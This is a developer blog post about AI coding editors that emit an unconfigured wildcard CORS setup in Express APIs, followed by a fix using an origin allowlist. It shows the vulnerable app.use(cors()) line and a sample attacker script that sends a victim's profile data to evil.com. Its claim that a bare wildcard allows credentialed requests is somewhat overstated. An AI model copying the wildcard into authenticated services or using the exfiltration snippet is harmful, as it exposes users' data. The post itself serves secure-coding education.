TL;DR
- AI editors output
app.use(cors())with zero config by default - that's a wildcard CORS policy - On unauthenticated public APIs this is fine. On anything with sessions or JWT auth, it's a credential theft vector
- Three lines fix it, but you have to know to look
I was reviewing a Node.js API a friend built last month. Express backend, JWT auth, clean structure. The AI had written basically everything from scratch in a weekend. It worked perfectly. And buried in the middleware setup, six lines from the top:
app.use(cors()); // CWE-942
No config. No options. Full wildcard. Any origin, including evil.com, could make credentialed cross-origin requests to that API.
I've seen this pattern dozens of times. Not from developers who don't know better. From fast-moving teams using AI editors to ship quickly. The AI writes code that passes every test and ships perfectly - but the security assumptions baked into that code are frequently from a different era.
The Vulnerable Pattern
Here's what AI editors produce when you ask for a basic Express API with CORS support:
const express = require('express');
const cors = require('cors');
const app = express();
app.use(cors()); // CWE-942: Wildcard CORS - accepts requests from ANY origin
app.get('/api/user/profile', authenticate, async (req, res) => {
const user = await User.findById(req.userId);
res.json(user);
});
The cors() call with no arguments maps to Access-Control-Allow-Origin: *. When combined with cookies or Authorization headers, this becomes a direct attack vector.
An attacker hosting evil.com can write:
fetch('https://yourapi.com/api/user/profile', {
credentials: 'include'
}).then(r => r.json()).then(data => {
navigator.sendBeacon('https://evil.com/steal', JSON.stringify(data));
});
If the user has an active session cookie, that request goes through. The response comes back. The data leaks.
Why AI Keeps Generating This
The training data for AI models is saturated with tutorial code and Stack Overflow answers written before the security implications of wildcard CORS were well understood. When you search "express cors setup", the top answers almost universally show app.use(cors()) with no configuration. Simple, clean, works immediately.
AI optimises for code that works and matches the style of what was most upvoted. Security edge cases don't show up in unit tests. They show up in incident reports.
There's also a subtlety: Access-Control-Allow-Origin: * is fine for public, read-only APIs. The problem surfaces when you add authentication. AI doesn't know whether your API will eventually be authenticated - it writes the simplest thing that satisfies the immediate request.
The Fix
Three lines:
app.use(cors({
origin: process.env.ALLOWED_ORIGIN || 'https://yourfrontend.com',
credentials: true
}));
For multiple origins, use a whitelist function:
const allowedOrigins = (process.env.ALLOWED_ORIGINS || '').split(',');
app.use(cors({
origin: (origin, callback) => {
if (!origin || allowedOrigins.includes(origin)) {
callback(null, true);
} else {
callback(new Error('Not allowed by CORS'));
}
},
credentials: true
}));
Put ALLOWED_ORIGINS=https://yourfrontend.com in your .env and update it per environment. That's the full fix.
If you're building a truly public API with no auth, keep the wildcard. But the moment you add sessions, cookies, or Authorization headers, lock it down.
I've been running SafeWeave for this. It hooks into Cursor and Claude Code as an MCP server and flags these patterns before I move on. That said, even a basic pre-commit hook with semgrep and gitleaks will catch most of what's in this post. The important thing is catching it early, whatever tool you use.
Top comments (0)